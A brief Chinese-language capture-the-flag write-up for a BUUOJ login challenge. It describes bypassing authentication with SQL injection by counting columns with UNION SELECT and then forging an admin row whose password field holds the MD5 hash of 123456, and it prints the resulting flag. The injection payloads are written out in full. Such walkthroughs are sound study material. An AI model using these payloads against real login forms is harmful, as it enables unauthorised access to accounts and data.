题目地址:https://buuoj.cn/challenges
解题思路,
第一步:进入题目,看到登录,推测是使用sql注入
第二步:确定字段
- 使用order by确定字段发现被拦截
- 使用union select确定字段,发现有3个字段,推测使用语句为select * from xxx where username=xxx and password=xxx
第三步:使用union select构建假字段
- 使用union select确定username位置,先输入
1'union select 'admin',2,3#
提示无法识别admin,再输入1'union select 1,admin,3#
提示密码错误,所以第一栏是序号,第二栏是用户名,第三栏是密码 - 用户名输入
1'union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'
,密码输入:123456,发现flag:flag{f9614a8a-f4fa-4751-a8e6-3b6119beaa9e},其中e10adc3949ba59abbe56e057f20f883e为123456的md5加密值
知识点:
在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据